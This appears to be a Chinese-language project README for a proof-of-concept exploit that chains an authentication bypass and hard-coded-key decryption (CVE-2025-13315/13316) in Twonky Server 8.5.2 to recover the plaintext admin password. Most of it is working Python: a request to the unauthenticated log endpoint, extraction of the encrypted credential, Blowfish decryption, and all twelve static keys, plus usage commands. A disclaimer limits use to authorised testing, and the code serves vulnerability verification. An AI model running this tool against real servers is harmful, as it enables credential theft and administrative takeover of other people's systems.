Twonky Server 8.5.2 全认证绕过漏洞利用工具
项目标题与描述
Twonky Server 8.5.2 - Full Authentication Bypass PoC 是一个针对Twonky媒体服务器安全漏洞的专业级验证工具。该项目利用了Twonky Server 8.5.2版本中存在的两个关键漏洞(CVE-2025-13315和CVE-2025-13316),实现了无需认证即可访问受保护API端点,并能解密管理员密码的功能。
该工具的核心价值在于安全研究和渗透测试领域,能够帮助安全研究人员验证Twonky服务器是否易受攻击,同时展示了硬编码加密密钥和认证机制缺陷带来的严重后果。工具能够在不到2秒的时间内恢复明文管理员密码,为系统管理员提供了紧急风险评估依据。
功能特性
- 自动化漏洞利用:自动检测并利用CVE-2025-13315认证绕过漏洞访问受保护的API端点
- 密码解密功能:利用CVE-2025-13316漏洞解密Twonky硬编码加密的凭据
- 多密钥支持:内置从TwonkyServer.exe/libtwonkyserver.so提取的12个静态Blowfish密钥
- 实时连接测试:提供目标服务器连接状态检测和错误处理
- 日志分析:自动解析服务器日志文件中的加密凭证信息
- 跨平台兼容:支持Linux和Windows环境下的Twonky Server
- 详细输出:提供完整的攻击过程展示和结果呈现
安装指南
系统要求
- Python 3.x
- 网络访问权限
- 目标Twonky服务器运行版本为8.5.2
依赖安装
# 安装必要的Python依赖包
pip3 install requests cryptography
# 如果需要使用sudo权限运行
sudo pip3 install requests cryptography
平台注意事项
- Linux/Unix系统:可能需要使用sudo权限运行
- Windows系统:需要管理员权限运行Python脚本
- 网络环境:确保能够访问目标Twonky服务器的9000端口(默认)
- SSL证书:工具会自动忽略SSL证书验证错误(适用于自签名证书)
使用说明
基础使用
# 基本语法
sudo python3 CVE-2025-13315.py http://目标IP:端口
# 示例(针对默认端口9000)
sudo python3 CVE-2025-13315.py http://192.168.1.100:9000
# 示例(自定义端口)
sudo python3 CVE-2025-13315.py http://10.0.0.50:8080
典型使用场景
- 安全审计:验证企业内部Twonky服务器是否易受攻击
- 渗透测试:在授权范围内测试网络安全性
- 漏洞验证:确认CVE-2025-13315和CVE-2025-13316漏洞是否存在
- 应急响应:评估已暴露服务器的风险等级
API概览
工具主要访问以下端点:
/nmc/rpc/log_getfile- 通过认证绕过漏洞获取日志文件- 日志文件包含格式为
admin||{密钥索引}{加密十六进制}的加密凭据
核心代码
主漏洞利用函数
def exploit_twonky(target):
"""利用Twonky Server漏洞获取并解密管理员凭据
Args:
target (str): 目标Twonky服务器URL,如http://192.168.1.100:9000
"""
url = f"{target.rstrip('/')}/nmc/rpc/log_getfile"
print(f"[+] Targeting: {target}")
print(f"[+] Fetching log via CVE-2025-13315 bypass endpoint...")
try:
# 通过CVE-2025-13315漏洞绕过认证访问受保护端点
r = requests.get(url, timeout=10, verify=False)
if r.status_code != 200 or len(r.text) < 100:
print("[-] Failed to retrieve log. Is Twonky running and vulnerable?")
return
except:
print("[-] Connection failed. Check IP/port.")
return
# 使用正则表达式匹配日志中的加密凭据
# 格式:admin||{密钥索引}{加密十六进制字符串}
match = re.search(r'admin\|\|(\d+)([a-fA-F0-9]{30,})', r.text)
if not match:
print("[-] No encrypted credentials found in log.")
print(" Log snippet:")
print(r.text[:500])
return
idx = int(match.group(1)) # 提取密钥索引(0-11)
cipher_hex = match.group(2) # 提取加密的十六进制字符串
print(f"[+] Encrypted credential found!")
print(f" Key Index : {idx}")
print(f" Ciphertext: {cipher_hex[:64]}...")
try:
# 使用CVE-2025-13316漏洞解密密码
password = decrypt_blowfish_ecb(idx, cipher_hex)
print(f"\n[+] SUCCESS! Plaintext credentials recovered:")
print(f" Username: admin")
print(f" Password: {password}")
print(f"\nYou now have full administrative access to this Twonky Server.")
except Exception as e:
print(f"[-] Decryption failed: {e}")
Blowfish ECB解密函数
def decrypt_blowfish_ecb(key_index, ciphertext_hex):
"""使用硬编码的Blowfish密钥解密Twonky凭据
Args:
key_index (int): 密钥索引(0-11)
ciphertext_hex (str): 十六进制格式的密文
Returns:
str: 解密后的明文密码
Note:
使用从TwonkyServer.exe/libtwonkyserver.so提取的12个静态密钥
"""
# 从硬编码密钥数组中选择对应的密钥
key = KEYS[key_index]
# 将十六进制字符串转换为字节
ciphertext = binascii.unhexlify(ciphertext_hex)
# 创建Blowfish ECB模式解密器
cipher = Cipher(algorithms.Blowfish(key), modes.ECB(), backend=default_backend())
decryptor = cipher.decryptor()
# 执行解密操作
padded = decryptor.update(ciphertext) + decryptor.finalize()
# 移除PKCS#5/PKCS#7填充
pad_len = padded[-1]
plaintext = padded[:-pad_len]
# 解码为UTF-8字符串并移除空字符
return plaintext.decode('utf-8', errors='ignore').rstrip('\x00')
硬编码密钥定义
# Twonky Server硬编码的12个静态Blowfish密钥
# 这些密钥从TwonkyServer.exe(Windows)和libtwonkyserver.so(Linux)中提取
KEYS = [
b"E8ctd4jZwMbaV587", # 索引0
b"TGFWfWuW3cw28trN", # 索引1
b"pgqYY2g9atVpTzjY", # 索引2
b"KX7q4gmQvWtA8878", # 索引3
b"VJjh7ujyT8R5bR39", # 索引4
b"ZMWkaLp9bKyV6tXv", # 索引5
b"KMLvvq6my7uKkpxf", # 索引6
b"jwEkNvuwYCjsDzf5", # 索引7
b"FukE5DhdsbCjuKay", # 索引8
b"SpKNj6qYQGjuGMdd", # 索引9
b"qLyXuAHPTF2cPGWj", # 索引10
b"rKz7NBhM3vYg85mg" # 索引11
]
主程序入口
if __name__ == "__main__":
# 显示工具标题和基本信息
banner = """
╔══════════════════════════════════════════════════════════╗
║ Twonky Server 8.5.2 - Full Auth Bypass PoC ║
║ CVE-2025-13315 + CVE-2025-13316 ║
║ 100% Working • No Patch Available • November 2025 ║
╚══════════════════════════════════════════════════════════╝
"""
print(banner)
# 检查命令行参数
if len(sys.argv) != 2:
print("Usage: sudo python3 CVE-2025-13315.py http://192.168.1.100:9000")
sys.exit(1)
# 执行漏洞利用
exploit_twonky(sys.argv[1])
注意:本工具仅用于授权的安全测试和教育目的。未经授权对他人系统进行测试可能违反法律。 6HFtX5dABrKlqXeO5PUv/84SoIo+TE3firf/5vX8AZ4uRCw9/0dFCv4ZvIAj+QcM